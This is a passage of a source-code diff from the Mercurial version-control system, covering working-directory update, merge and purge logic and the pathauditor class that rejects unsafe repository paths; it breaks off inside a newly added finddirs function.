     # resolve path conflicts (must come before getting)
     for f, args, msg in actions[ACTION_PATH_CONFLICT_RESOLVE]:
         repo.ui.debug(b" %s: %s -> pr\n" % (f, msg))
         (f0,) = args
         if wctx[f0].lexists():
             repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
             wctx[f].audit()
             wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
             wctx[f0].remove()
         progress.increment(item=f)
 
     # get in parallel.
     threadsafe = repo.ui.configbool(
         b'experimental', b'worker.wdir-get-thread-safe'
     )
     prog = worker.worker(
         repo.ui,
         cost,
         batchget,
         (repo, mctx, wctx, wantfiledata),
         actions[ACTION_GET],
         threadsafe=threadsafe,
         hasretval=True,
     )
     getfiledata = {}
     for final, res in prog:
         if final:
             getfiledata = res
         else:
             i, item = res
             progress.increment(step=i, item=item)
     updated = len(actions[ACTION_GET])
 
     if [a for a in actions[ACTION_GET] if a[0] == b'.hgsubstate']:
         subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
     # forget (manifest only, just log it) (must come first)
     for f, args, msg in actions[ACTION_FORGET]:
         repo.ui.debug(b" %s: %s -> f\n" % (f, msg))
         progress.increment(item=f)
 
     # re-add (manifest only, just log it)
     for f, args, msg in actions[ACTION_ADD]:
         repo.ui.debug(b" %s: %s -> a\n" % (f, msg))
         progress.increment(item=f)
 
     # re-add/mark as modified (manifest only, just log it)
     for f, args, msg in actions[ACTION_ADD_MODIFIED]:
         repo.ui.debug(b" %s: %s -> am\n" % (f, msg))
         progress.increment(item=f)
 
     # keep (noop, just log it)
     for f, args, msg in actions[ACTION_KEEP]:
         repo.ui.debug(b" %s: %s -> k\n" % (f, msg))
         # no progress
 
     # directory rename, move local
     for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
         repo.ui.debug(b" %s: %s -> dm\n" % (f, msg))
         progress.increment(item=f)
         f0, flags = args
         repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
         wctx[f].audit()
         wctx[f].write(wctx.filectx(f0).data(), flags)
         wctx[f0].remove()
         updated += 1
 
     # local directory rename, get
     for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
         repo.ui.debug(b" %s: %s -> dg\n" % (f, msg))
         progress.increment(item=f)
         f0, flags = args
         repo.ui.note(_(b"getting %s to %s\n") % (f0, f))
         wctx[f].write(mctx.filectx(f0).data(), flags)
         updated += 1
 
     # exec
     for f, args, msg in actions[ACTION_EXEC]:
         repo.ui.debug(b" %s: %s -> e\n" % (f, msg))
         progress.increment(item=f)
         (flags,) = args
         wctx[f].audit()
         wctx[f].setflags(b'l' in flags, b'x' in flags)
         updated += 1
 
     # the ordering is important here -- ms.mergedriver will raise if the merge
     # driver has changed, and we want to be able to bypass it when overwrite is
     # True
     usemergedriver = not overwrite and mergeactions and ms.mergedriver
 
     if usemergedriver:
         if wctx.isinmemory():
             raise error.InMemoryMergeConflictsError(
                 b"in-memory merge does not support mergedriver"
             )
         ms.commit()
         proceed = driverpreprocess(repo, ms, wctx, labels=labels)
         # the driver might leave some files unresolved
         unresolvedf = set(ms.unresolved())
         if not proceed:
             # XXX setting unresolved to at least 1 is a hack to make sure we
             # error out
             return updateresult(
                 updated, merged, removed, max(len(unresolvedf), 1)
             )
         newactions = []
         for f, args, msg in mergeactions:
             if f in unresolvedf:
                 newactions.append((f, args, msg))
         mergeactions = newactions
 
     try:
         # premerge
         tocomplete = []
         for f, args, msg in mergeactions:
             repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg))
             progress.increment(item=f)
             if f == b'.hgsubstate':  # subrepo states need updating
                 subrepoutil.submerge(
                     repo, wctx, mctx, wctx.ancestor(mctx), overwrite, labels
                 )
                 continue
             wctx[f].audit()
             complete, r = ms.preresolve(f, wctx)
             if not complete:
                 numupdates += 1
                 tocomplete.append((f, args, msg))
 
         # merge
         for f, args, msg in tocomplete:
             repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg))
             progress.increment(item=f, total=numupdates)
             ms.resolve(f, wctx)
 
     finally:
         ms.commit()
 
     unresolved = ms.unresolvedcount()
 
     if (
         usemergedriver
         and not unresolved
         and ms.mdstate() != MERGE_DRIVER_STATE_SUCCESS
     ):
         if not driverconclude(repo, ms, wctx, labels=labels):
             # XXX setting unresolved to at least 1 is a hack to make sure we
             # error out
             unresolved = max(unresolved, 1)
 
         ms.commit()
 
     msupdated, msmerged, msremoved = ms.counts()
     updated += msupdated
     merged += msmerged
     removed += msremoved
 
     extraactions = ms.actions()
     if extraactions:
         mfiles = set(a[0] for a in actions[ACTION_MERGE])
         for k, acts in pycompat.iteritems(extraactions):
             actions[k].extend(acts)
             if k == ACTION_GET and wantfiledata:
                 # no filedata until mergestate is updated to provide it
                 for a in acts:
                     getfiledata[a[0]] = None
             # Remove these files from actions[ACTION_MERGE] as well. This is
             # important because in recordupdates, files in actions[ACTION_MERGE]
             # are processed after files in other actions, and the merge driver
             # might add files to those actions via extraactions above. This can
             # lead to a file being recorded twice, with poor results. This is
             # especially problematic for actions[ACTION_REMOVE] (currently only
             # possible with the merge driver in the initial merge process;
             # interrupted merges don't go through this flow).
             #
             # The real fix here is to have indexes by both file and action so
             # that when the action for a file is changed it is automatically
             # reflected in the other action lists. But that involves a more
             # complex data structure, so this will do for now.
             #
             # We don't need to do the same operation for 'dc' and 'cd' because
             # those lists aren't consulted again.
             mfiles.difference_update(a[0] for a in acts)
 
         actions[ACTION_MERGE] = [
             a for a in actions[ACTION_MERGE] if a[0] in mfiles
         ]
 
     progress.complete()
     assert len(getfiledata) == (len(actions[ACTION_GET]) if wantfiledata else 0)
     return updateresult(updated, merged, removed, unresolved), getfiledata
 
 
 def recordupdates(repo, actions, branchmerge, getfiledata):
     b"record merge actions to the dirstate"
     # remove (must come first)
     for f, args, msg in actions.get(ACTION_REMOVE, []):
         if branchmerge:
             repo.dirstate.remove(f)
         else:
             repo.dirstate.drop(f)
 
     # forget (must come first)
     for f, args, msg in actions.get(ACTION_FORGET, []):
         repo.dirstate.drop(f)
 
     # resolve path conflicts
     for f, args, msg in actions.get(ACTION_PATH_CONFLICT_RESOLVE, []):
         (f0,) = args
         origf0 = repo.dirstate.copied(f0) or f0
         repo.dirstate.add(f)
         repo.dirstate.copy(origf0, f)
         if f0 == origf0:
             repo.dirstate.remove(f0)
         else:
             repo.dirstate.drop(f0)
 
     # re-add
     for f, args, msg in actions.get(ACTION_ADD, []):
         repo.dirstate.add(f)
 
     # re-add/mark as modified
     for f, args, msg in actions.get(ACTION_ADD_MODIFIED, []):
         if branchmerge:
             repo.dirstate.normallookup(f)
         else:
             repo.dirstate.add(f)
 
     # exec change
     for f, args, msg in actions.get(ACTION_EXEC, []):
         repo.dirstate.normallookup(f)
 
     # keep
     for f, args, msg in actions.get(ACTION_KEEP, []):
         pass
 
     # get
     for f, args, msg in actions.get(ACTION_GET, []):
         if branchmerge:
             repo.dirstate.otherparent(f)
         else:
             parentfiledata = getfiledata[f] if getfiledata else None
             repo.dirstate.normal(f, parentfiledata=parentfiledata)
 
     # merge
     for f, args, msg in actions.get(ACTION_MERGE, []):
         f1, f2, fa, move, anc = args
         if branchmerge:
             # We've done a branch merge, mark this file as merged
             # so that we properly record the merger later
             repo.dirstate.merge(f)
             if f1 != f2:  # copy/rename
                 if move:
                     repo.dirstate.remove(f1)
                 if f1 != f:
                     repo.dirstate.copy(f1, f)
                 else:
                     repo.dirstate.copy(f2, f)
         else:
             # We've update-merged a locally modified file, so
             # we set the dirstate to emulate a normal checkout
             # of that file some time in the past. Thus our
             # merge will appear as a normal local file
             # modification.
             if f2 == f:  # file not locally copied/moved
                 repo.dirstate.normallookup(f)
             if move:
                 repo.dirstate.drop(f1)
 
     # directory rename, move local
     for f, args, msg in actions.get(ACTION_DIR_RENAME_MOVE_LOCAL, []):
         f0, flag = args
         if branchmerge:
             repo.dirstate.add(f)
             repo.dirstate.remove(f0)
             repo.dirstate.copy(f0, f)
         else:
             repo.dirstate.normal(f)
             repo.dirstate.drop(f0)
 
     # directory rename, get
     for f, args, msg in actions.get(ACTION_LOCAL_DIR_RENAME_GET, []):
         f0, flag = args
         if branchmerge:
             repo.dirstate.add(f)
             repo.dirstate.copy(f0, f)
         else:
             repo.dirstate.normal(f)
 
 
 UPDATECHECK_ABORT = b'abort'  # handled at higher layers
 UPDATECHECK_NONE = b'none'
 UPDATECHECK_LINEAR = b'linear'
 UPDATECHECK_NO_CONFLICT = b'noconflict'
 
 
 def update(
     repo,
     node,
     branchmerge,
     force,
     ancestor=None,
     mergeancestor=False,
     labels=None,
     matcher=None,
     mergeforce=False,
     updatecheck=None,
     wc=None,
 ):
     """
     Perform a merge between the working directory and the given node
 
     node = the node to update to
     branchmerge = whether to merge between branches
     force = whether to force branch merging or file overwriting
     matcher = a matcher to filter file lists (dirstate not updated)
     mergeancestor = whether it is merging with an ancestor. If true,
       we should accept the incoming changes for any prompts that occur.
       If false, merging with an ancestor (fast-forward) is only allowed
       between different named branches. This flag is used by rebase extension
       as a temporary fix and should be avoided in general.
     labels = labels to use for base, local and other
     mergeforce = whether the merge was run with 'merge --force' (deprecated): if
       this is True, then 'force' should be True as well.
 
     The table below shows all the behaviors of the update command given the
     -c/--check and -C/--clean or no options, whether the working directory is
     dirty, whether a revision is specified, and the relationship of the parent
     rev to the target rev (linear or not). Match from top first. The -n
     option doesn't exist on the command line, but represents the
     experimental.updatecheck=noconflict option.
 
     This logic is tested by test-update-branches.t.
 
     -c  -C  -n  -m  dirty  rev  linear  |  result
      y   y   *   *    *     *     *     |    (1)
      y   *   y   *    *     *     *     |    (1)
      y   *   *   y    *     *     *     |    (1)
      *   y   y   *    *     *     *     |    (1)
      *   y   *   y    *     *     *     |    (1)
      *   *   y   y    *     *     *     |    (1)
      *   *   *   *    *     n     n     |     x
      *   *   *   *    n     *     *     |    ok
      n   n   n   n    y     *     y     |   merge
      n   n   n   n    y     y     n     |    (2)
      n   n   n   y    y     *     *     |   merge
      n   n   y   n    y     *     *     |  merge if no conflict
      n   y   n   n    y     *     *     |  discard
      y   n   n   n    y     *     *     |    (3)
 
     x = can't happen
     * = don't-care
     1 = incompatible options (checked in commands.py)
     2 = abort: uncommitted changes (commit or update --clean to discard changes)
     3 = abort: uncommitted changes (checked in commands.py)
 
     The merge is performed inside ``wc``, a workingctx-like objects. It defaults
     to repo[None] if None is passed.
 
     Return the same tuple as applyupdates().
     """
     # Avoid cycle.
     from . import sparse
 
     # This function used to find the default destination if node was None, but
     # that's now in destutil.py.
     assert node is not None
     if not branchmerge and not force:
         # TODO: remove the default once all callers that pass branchmerge=False
         # and force=False pass a value for updatecheck. We may want to allow
         # updatecheck='abort' to better suppport some of these callers.
         if updatecheck is None:
             updatecheck = UPDATECHECK_LINEAR
         if updatecheck not in (
             UPDATECHECK_NONE,
             UPDATECHECK_LINEAR,
             UPDATECHECK_NO_CONFLICT,
         ):
             raise ValueError(
                 r'Invalid updatecheck %r (can accept %r)'
                 % (
                     updatecheck,
                     (
                         UPDATECHECK_NONE,
                         UPDATECHECK_LINEAR,
                         UPDATECHECK_NO_CONFLICT,
                     ),
                 )
             )
     # If we're doing a partial update, we need to skip updating
     # the dirstate, so make a note of any partial-ness to the
     # update here.
     if matcher is None or matcher.always():
         partial = False
     else:
         partial = True
     with repo.wlock():
         if wc is None:
             wc = repo[None]
         pl = wc.parents()
         p1 = pl[0]
         p2 = repo[node]
         if ancestor is not None:
             pas = [repo[ancestor]]
         else:
             if repo.ui.configlist(b'merge', b'preferancestor') == [b'*']:
                 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
                 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
             else:
                 pas = [p1.ancestor(p2, warn=branchmerge)]
 
         fp1, fp2, xp1, xp2 = p1.node(), p2.node(), bytes(p1), bytes(p2)
 
         overwrite = force and not branchmerge
         ### check phase
         if not overwrite:
             if len(pl) > 1:
                 raise error.Abort(_(b"outstanding uncommitted merge"))
             ms = mergestate.read(repo)
             if list(ms.unresolved()):
                 raise error.Abort(
                     _(b"outstanding merge conflicts"),
                     hint=_(b"use 'hg resolve' to resolve"),
                 )
         if branchmerge:
             if pas == [p2]:
                 raise error.Abort(
                     _(
                         b"merging with a working directory ancestor"
                         b" has no effect"
                     )
                 )
             elif pas == [p1]:
                 if not mergeancestor and wc.branch() == p2.branch():
                     raise error.Abort(
                         _(b"nothing to merge"),
                         hint=_(b"use 'hg update' or check 'hg heads'"),
                     )
             if not force and (wc.files() or wc.deleted()):
                 raise error.Abort(
                     _(b"uncommitted changes"),
                     hint=_(b"use 'hg status' to list changes"),
                 )
             if not wc.isinmemory():
                 for s in sorted(wc.substate):
                     wc.sub(s).bailifchanged()
 
         elif not overwrite:
             if p1 == p2:  # no-op update
                 # call the hooks and exit early
                 repo.hook(b'preupdate', throw=True, parent1=xp2, parent2=b'')
                 repo.hook(b'update', parent1=xp2, parent2=b'', error=0)
                 return updateresult(0, 0, 0, 0)
 
             if updatecheck == UPDATECHECK_LINEAR and pas not in (
                 [p1],
                 [p2],
             ):  # nonlinear
                 dirty = wc.dirty(missing=True)
                 if dirty:
                     # Branching is a bit strange to ensure we do the minimal
                     # amount of call to obsutil.foreground.
                     foreground = obsutil.foreground(repo, [p1.node()])
                     # note: the <node> variable contains a random identifier
                     if repo[node].node() in foreground:
                         pass  # allow updating to successors
                     else:
                         msg = _(b"uncommitted changes")
                         hint = _(b"commit or update --clean to discard changes")
                         raise error.UpdateAbort(msg, hint=hint)
                 else:
                     # Allow jumping branches if clean and specific rev given
                     pass
 
         if overwrite:
             pas = [wc]
         elif not branchmerge:
             pas = [p1]
 
         # deprecated config: merge.followcopies
         followcopies = repo.ui.configbool(b'merge', b'followcopies')
         if overwrite:
             followcopies = False
         elif not pas[0]:
             followcopies = False
         if not branchmerge and not wc.dirty(missing=True):
             followcopies = False
 
         ### calculate phase
         actionbyfile, diverge, renamedelete = calculateupdates(
             repo,
             wc,
             p2,
             pas,
             branchmerge,
             force,
             mergeancestor,
             followcopies,
             matcher=matcher,
             mergeforce=mergeforce,
         )
 
         if updatecheck == UPDATECHECK_NO_CONFLICT:
             for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
                 if m not in (
                     ACTION_GET,
                     ACTION_KEEP,
                     ACTION_EXEC,
                     ACTION_REMOVE,
                     ACTION_PATH_CONFLICT_RESOLVE,
                 ):
                     msg = _(b"conflicting changes")
                     hint = _(b"commit or update --clean to discard changes")
                     raise error.Abort(msg, hint=hint)
 
         # Prompt and create actions. Most of this is in the resolve phase
         # already, but we can't handle .hgsubstate in filemerge or
         # subrepoutil.submerge yet so we have to keep prompting for it.
         if b'.hgsubstate' in actionbyfile:
             f = b'.hgsubstate'
             m, args, msg = actionbyfile[f]
             prompts = filemerge.partextras(labels)
             prompts[b'f'] = f
             if m == ACTION_CHANGED_DELETED:
                 if repo.ui.promptchoice(
                     _(
                         b"local%(l)s changed %(f)s which other%(o)s deleted\n"
                         b"use (c)hanged version or (d)elete?"
                         b"$$ &Changed $$ &Delete"
                     )
                     % prompts,
                     0,
                 ):
                     actionbyfile[f] = (ACTION_REMOVE, None, b'prompt delete')
                 elif f in p1:
                     actionbyfile[f] = (
                         ACTION_ADD_MODIFIED,
                         None,
                         b'prompt keep',
                     )
                 else:
                     actionbyfile[f] = (ACTION_ADD, None, b'prompt keep')
             elif m == ACTION_DELETED_CHANGED:
                 f1, f2, fa, move, anc = args
                 flags = p2[f2].flags()
                 if (
                     repo.ui.promptchoice(
                         _(
                             b"other%(o)s changed %(f)s which local%(l)s deleted\n"
                             b"use (c)hanged version or leave (d)eleted?"
                             b"$$ &Changed $$ &Deleted"
                         )
                         % prompts,
                         0,
                     )
                     == 0
                 ):
                     actionbyfile[f] = (
                         ACTION_GET,
                         (flags, False),
                         b'prompt recreating',
                     )
                 else:
                     del actionbyfile[f]
 
         # Convert to dictionary-of-lists format
         actions = emptyactions()
         for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
             if m not in actions:
                 actions[m] = []
             actions[m].append((f, args, msg))
 
         if not util.fscasesensitive(repo.path):
             # check collision between files only in p2 for clean update
             if not branchmerge and (
                 force or not wc.dirty(missing=True, branch=False)
             ):
                 _checkcollision(repo, p2.manifest(), None)
             else:
                 _checkcollision(repo, wc.manifest(), actions)
 
         # divergent renames
         for f, fl in sorted(pycompat.iteritems(diverge)):
             repo.ui.warn(
                 _(
                     b"note: possible conflict - %s was renamed "
                     b"multiple times to:\n"
                 )
                 % f
             )
             for nf in sorted(fl):
                 repo.ui.warn(b" %s\n" % nf)
 
         # rename and delete
         for f, fl in sorted(pycompat.iteritems(renamedelete)):
             repo.ui.warn(
                 _(
                     b"note: possible conflict - %s was deleted "
                     b"and renamed to:\n"
                 )
                 % f
             )
             for nf in sorted(fl):
                 repo.ui.warn(b" %s\n" % nf)
 
         ### apply phase
         if not branchmerge:  # just jump to the new rev
             fp1, fp2, xp1, xp2 = fp2, nullid, xp2, b''
         if not partial and not wc.isinmemory():
             repo.hook(b'preupdate', throw=True, parent1=xp1, parent2=xp2)
             # note that we're in the middle of an update
             repo.vfs.write(b'updatestate', p2.hex())
 
         # Advertise fsmonitor when its presence could be useful.
         #
         # We only advertise when performing an update from an empty working
         # directory. This typically only occurs during initial clone.
         #
         # We give users a mechanism to disable the warning in case it is
         # annoying.
         #
         # We only allow on Linux and MacOS because that's where fsmonitor is
         # considered stable.
         fsmonitorwarning = repo.ui.configbool(b'fsmonitor', b'warn_when_unused')
         fsmonitorthreshold = repo.ui.configint(
             b'fsmonitor', b'warn_update_file_count'
         )
         try:
             # avoid cycle: extensions -> cmdutil -> merge
             from . import extensions
 
             extensions.find(b'fsmonitor')
             fsmonitorenabled = repo.ui.config(b'fsmonitor', b'mode') != b'off'
             # We intentionally don't look at whether fsmonitor has disabled
             # itself because a) fsmonitor may have already printed a warning
             # b) we only care about the config state here.
         except KeyError:
             fsmonitorenabled = False
 
         if (
             fsmonitorwarning
             and not fsmonitorenabled
             and p1.node() == nullid
             and len(actions[ACTION_GET]) >= fsmonitorthreshold
             and pycompat.sysplatform.startswith((b'linux', b'darwin'))
         ):
             repo.ui.warn(
                 _(
                     b'(warning: large working directory being used without '
                     b'fsmonitor enabled; enable fsmonitor to improve performance; '
                     b'see "hg help -e fsmonitor")\n'
                 )
             )
 
         updatedirstate = not partial and not wc.isinmemory()
         wantfiledata = updatedirstate and not branchmerge
         stats, getfiledata = applyupdates(
             repo, actions, wc, p2, overwrite, wantfiledata, labels=labels
         )
 
         if updatedirstate:
             with repo.dirstate.parentchange():
                 repo.setparents(fp1, fp2)
                 recordupdates(repo, actions, branchmerge, getfiledata)
                 # update completed, clear state
                 util.unlink(repo.vfs.join(b'updatestate'))
 
                 if not branchmerge:
                     repo.dirstate.setbranch(p2.branch())
 
     # If we're updating to a location, clean up any stale temporary includes
     # (ex: this happens during hg rebase --abort).
     if not branchmerge:
         sparse.prunetemporaryincludes(repo)
 
     if not partial:
         repo.hook(
             b'update', parent1=xp1, parent2=xp2, error=stats.unresolvedcount
         )
     return stats
 
 
 def graft(
     repo, ctx, pctx, labels=None, keepparent=False, keepconflictparent=False
 ):
     """Do a graft-like merge.
 
     This is a merge where the merge ancestor is chosen such that one
     or more changesets are grafted onto the current changeset. In
     addition to the merge, this fixes up the dirstate to include only
     a single parent (if keepparent is False) and tries to duplicate any
     renames/copies appropriately.
 
     ctx - changeset to rebase
     pctx - merge base, usually ctx.p1()
     labels - merge labels eg ['local', 'graft']
     keepparent - keep second parent if any
     keepconflictparent - if unresolved, keep parent used for the merge
 
     """
     # If we're grafting a descendant onto an ancestor, be sure to pass
     # mergeancestor=True to update. This does two things: 1) allows the merge if
     # the destination is the same as the parent of the ctx (so we can use graft
     # to copy commits), and 2) informs update that the incoming changes are
     # newer than the destination so it doesn't prompt about "remote changed foo
     # which local deleted".
     mergeancestor = repo.changelog.isancestor(repo[b'.'].node(), ctx.node())
 
     stats = update(
         repo,
         ctx.node(),
         True,
         True,
         pctx.node(),
         mergeancestor=mergeancestor,
         labels=labels,
     )
 
     if keepconflictparent and stats.unresolvedcount:
         pother = ctx.node()
     else:
         pother = nullid
         parents = ctx.parents()
         if keepparent and len(parents) == 2 and pctx in parents:
             parents.remove(pctx)
             pother = parents[0].node()
 
     with repo.dirstate.parentchange():
         repo.setparents(repo[b'.'].node(), pother)
         repo.dirstate.write(repo.currenttransaction())
         # fix up dirstate for copies and renames
         copies.duplicatecopies(repo, repo[None], ctx.rev(), pctx.rev())
     return stats
 
 
 def purge(
     repo,
     matcher,
     ignored=False,
     removeemptydirs=True,
     removefiles=True,
     abortonerror=False,
     noop=False,
 ):
     """Purge the working directory of untracked files.
 
     ``matcher`` is a matcher configured to scan the working directory -
     potentially a subset.
 
     ``ignored`` controls whether ignored files should also be purged.
 
     ``removeemptydirs`` controls whether empty directories should be removed.
 
     ``removefiles`` controls whether files are removed.
 
     ``abortonerror`` causes an exception to be raised if an error occurs
     deleting a file or directory.
 
     ``noop`` controls whether to actually remove files. If not defined, actions
     will be taken.
 
     Returns an iterable of relative paths in the working directory that were
     or would be removed.
     """
 
     def remove(removefn, path):
         try:
             removefn(path)
         except OSError:
             m = _(b'%s cannot be removed') % path
             if abortonerror:
                 raise error.Abort(m)
             else:
                 repo.ui.warn(_(b'warning: %s\n') % m)
 
     # There's no API to copy a matcher. So mutate the passed matcher and
     # restore it when we're done.
     oldexplicitdir = matcher.explicitdir
     oldtraversedir = matcher.traversedir
 
     res = []
 
     try:
         if removeemptydirs:
             directories = []
             matcher.explicitdir = matcher.traversedir = directories.append
 
         status = repo.status(match=matcher, ignored=ignored, unknown=True)
 
         if removefiles:
             for f in sorted(status.unknown + status.ignored):
                 if not noop:
                     repo.ui.note(_(b'removing file %s\n') % f)
                     remove(repo.wvfs.unlink, f)
                 res.append(f)
 
         if removeemptydirs:
             for f in sorted(directories, reverse=True):
                 if matcher(f) and not repo.wvfs.listdir(f):
                     if not noop:
                         repo.ui.note(_(b'removing directory %s\n') % f)
                         remove(repo.wvfs.rmdir, f)
                     res.append(f)
 
         return res
 
     finally:
         matcher.explicitdir = oldexplicitdir
         matcher.traversedir = oldtraversedir

mercurial/pathutil.py

@@ -1,334 +1,342 b''
 from __future__ import absolute_import
 
 import errno
 import os
 import posixpath
 import stat
 
 from .i18n import _
 from . import (
     encoding,
     error,
     policy,
     pycompat,
     util,
 )
 
 rustdirs = policy.importrust('dirstate', 'Dirs')
 parsers = policy.importmod('parsers')
 
 
 def _lowerclean(s):
     return encoding.hfsignoreclean(s.lower())
 
 
 class pathauditor(object):
     '''ensure that a filesystem path contains no banned components.
     the following properties of a path are checked:
 
     - ends with a directory separator
     - under top-level .hg
     - starts at the root of a windows drive
     - contains ".."
 
     More check are also done about the file system states:
     - traverses a symlink (e.g. a/symlink_here/b)
     - inside a nested repository (a callback can be used to approve
       some nested repositories, e.g., subrepositories)
 
     The file system checks are only done when 'realfs' is set to True (the
     default). They should be disable then we are auditing path for operation on
     stored history.
 
     If 'cached' is set to True, audited paths and sub-directories are cached.
     Be careful to not keep the cache of unmanaged directories for long because
     audited paths may be replaced with symlinks.
     '''
 
     def __init__(self, root, callback=None, realfs=True, cached=False):
         self.audited = set()
         self.auditeddir = set()
         self.root = root
         self._realfs = realfs
         self._cached = cached
         self.callback = callback
         if os.path.lexists(root) and not util.fscasesensitive(root):
             self.normcase = util.normcase
         else:
             self.normcase = lambda x: x
 
     def __call__(self, path, mode=None):
         '''Check the relative path.
         path may contain a pattern (e.g. foodir/**.txt)'''
 
         path = util.localpath(path)
         normpath = self.normcase(path)
         if normpath in self.audited:
             return
         # AIX ignores "/" at end of path, others raise EISDIR.
         if util.endswithsep(path):
             raise error.Abort(_(b"path ends in directory separator: %s") % path)
         parts = util.splitpath(path)
         if (
             os.path.splitdrive(path)[0]
             or _lowerclean(parts[0]) in (b'.hg', b'.hg.', b'')
             or pycompat.ospardir in parts
         ):
             raise error.Abort(_(b"path contains illegal component: %s") % path)
         # Windows shortname aliases
         for p in parts:
             if b"~" in p:
                 first, last = p.split(b"~", 1)
                 if last.isdigit() and first.upper() in [b"HG", b"HG8B6C"]:
                     raise error.Abort(
                         _(b"path contains illegal component: %s") % path
                     )
         if b'.hg' in _lowerclean(path):
             lparts = [_lowerclean(p.lower()) for p in parts]
             for p in b'.hg', b'.hg.':
                 if p in lparts[1:]:
                     pos = lparts.index(p)
                     base = os.path.join(*parts[:pos])
                     raise error.Abort(
                         _(b"path '%s' is inside nested repo %r")
                         % (path, pycompat.bytestr(base))
                     )
 
         normparts = util.splitpath(normpath)
         assert len(parts) == len(normparts)
 
         parts.pop()
         normparts.pop()
         prefixes = []
         # It's important that we check the path parts starting from the root.
         # This means we won't accidentally traverse a symlink into some other
         # filesystem (which is potentially expensive to access).
         for i in range(len(parts)):
             prefix = pycompat.ossep.join(parts[: i + 1])
             normprefix = pycompat.ossep.join(normparts[: i + 1])
             if normprefix in self.auditeddir:
                 continue
             if self._realfs:
                 self._checkfs(prefix, path)
             prefixes.append(normprefix)
 
         if self._cached:
             self.audited.add(normpath)
             # only add prefixes to the cache after checking everything: we don't
             # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
             self.auditeddir.update(prefixes)
 
     def _checkfs(self, prefix, path):
         """raise exception if a file system backed check fails"""
         curpath = os.path.join(self.root, prefix)
         try:
             st = os.lstat(curpath)
         except OSError as err:
             # EINVAL can be raised as invalid path syntax under win32.
             # They must be ignored for patterns can be checked too.
             if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
                 raise
         else:
             if stat.S_ISLNK(st.st_mode):
                 msg = _(b'path %r traverses symbolic link %r') % (
                     pycompat.bytestr(path),
                     pycompat.bytestr(prefix),
                 )
                 raise error.Abort(msg)
             elif stat.S_ISDIR(st.st_mode) and os.path.isdir(
                 os.path.join(curpath, b'.hg')
             ):
                 if not self.callback or not self.callback(curpath):
                     msg = _(b"path '%s' is inside nested repo %r")
                     raise error.Abort(msg % (path, pycompat.bytestr(prefix)))
 
     def check(self, path):
         try:
             self(path)
             return True
         except (OSError, error.Abort):
             return False
 
 
 def canonpath(root, cwd, myname, auditor=None):
     '''return the canonical path of myname, given cwd and root
 
     >>> def check(root, cwd, myname):
     ...     a = pathauditor(root, realfs=False)
     ...     try:
     ...         return canonpath(root, cwd, myname, a)
     ...     except error.Abort:
     ...         return 'aborted'
     >>> def unixonly(root, cwd, myname, expected='aborted'):
     ...     if pycompat.iswindows:
     ...         return expected
     ...     return check(root, cwd, myname)
     >>> def winonly(root, cwd, myname, expected='aborted'):
     ...     if not pycompat.iswindows:
     ...         return expected
     ...     return check(root, cwd, myname)
     >>> winonly(b'd:\\\\repo', b'c:\\\\dir', b'filename')
     'aborted'
     >>> winonly(b'c:\\\\repo', b'c:\\\\dir', b'filename')
     'aborted'
     >>> winonly(b'c:\\\\repo', b'c:\\\\', b'filename')
     'aborted'
     >>> winonly(b'c:\\\\repo', b'c:\\\\', b'repo\\\\filename',
     ...         b'filename')
     'filename'
     >>> winonly(b'c:\\\\repo', b'c:\\\\repo', b'filename', b'filename')
     'filename'
     >>> winonly(b'c:\\\\repo', b'c:\\\\repo\\\\subdir', b'filename',
     ...         b'subdir/filename')
     'subdir/filename'
     >>> unixonly(b'/repo', b'/dir', b'filename')
     'aborted'
     >>> unixonly(b'/repo', b'/', b'filename')
     'aborted'
     >>> unixonly(b'/repo', b'/', b'repo/filename', b'filename')
     'filename'
     >>> unixonly(b'/repo', b'/repo', b'filename', b'filename')
     'filename'
     >>> unixonly(b'/repo', b'/repo/subdir', b'filename', b'subdir/filename')
     'subdir/filename'
     '''
     if util.endswithsep(root):
         rootsep = root
     else:
         rootsep = root + pycompat.ossep
     name = myname
     if not os.path.isabs(name):
         name = os.path.join(root, cwd, name)
     name = os.path.normpath(name)
     if auditor is None:
         auditor = pathauditor(root)
     if name != rootsep and name.startswith(rootsep):
         name = name[len(rootsep) :]
         auditor(name)
         return util.pconvert(name)
     elif name == root:
         return b''
     else:
         # Determine whether `name' is in the hierarchy at or beneath `root',
         # by iterating name=dirname(name) until that causes no change (can't
         # check name == '/', because that doesn't work on windows). The list
         # `rel' holds the reversed list of components making up the relative
         # file name we want.
         rel = []
         while True:
             try:
                 s = util.samefile(name, root)
             except OSError:
                 s = False
             if s:
                 if not rel:
                     # name was actually the same as root (maybe a symlink)
                     return b''
                 rel.reverse()
                 name = os.path.join(*rel)
                 auditor(name)
                 return util.pconvert(name)
             dirname, basename = util.split(name)
             rel.append(basename)
             if dirname == name:
                 break
             name = dirname
 
         # A common mistake is to use -R, but specify a file relative to the repo
         # instead of cwd.  Detect that case, and provide a hint to the user.
         hint = None
         try:
             if cwd != root:
                 canonpath(root, root, myname, auditor)
                 relpath = util.pathto(root, cwd, b'')
                 if relpath.endswith(pycompat.ossep):
                     relpath = relpath[:-1]
                 hint = _(b"consider using '--cwd %s'") % relpath
         except error.Abort:
             pass
 
         raise error.Abort(
             _(b"%s not under root '%s'") % (myname, root), hint=hint
         )
 
 
 def normasprefix(path):
     '''normalize the specified path as path prefix
 
     Returned value can be used safely for "p.startswith(prefix)",
     "p[len(prefix):]", and so on.
 
     For efficiency, this expects "path" argument to be already
     normalized by "os.path.normpath", "os.path.realpath", and so on.
 
     See also issue3033 for detail about need of this function.
 
     >>> normasprefix(b'/foo/bar').replace(pycompat.ossep, b'/')
     '/foo/bar/'
     >>> normasprefix(b'/').replace(pycompat.ossep, b'/')
     '/'
     '''
     d, p = os.path.splitdrive(path)
     if len(p) != len(pycompat.ossep):
         return path + pycompat.ossep
     else:
         return path
 
 
+def finddirs(path):
+    pos = path.rfind(b'/')
+    while pos != -1:
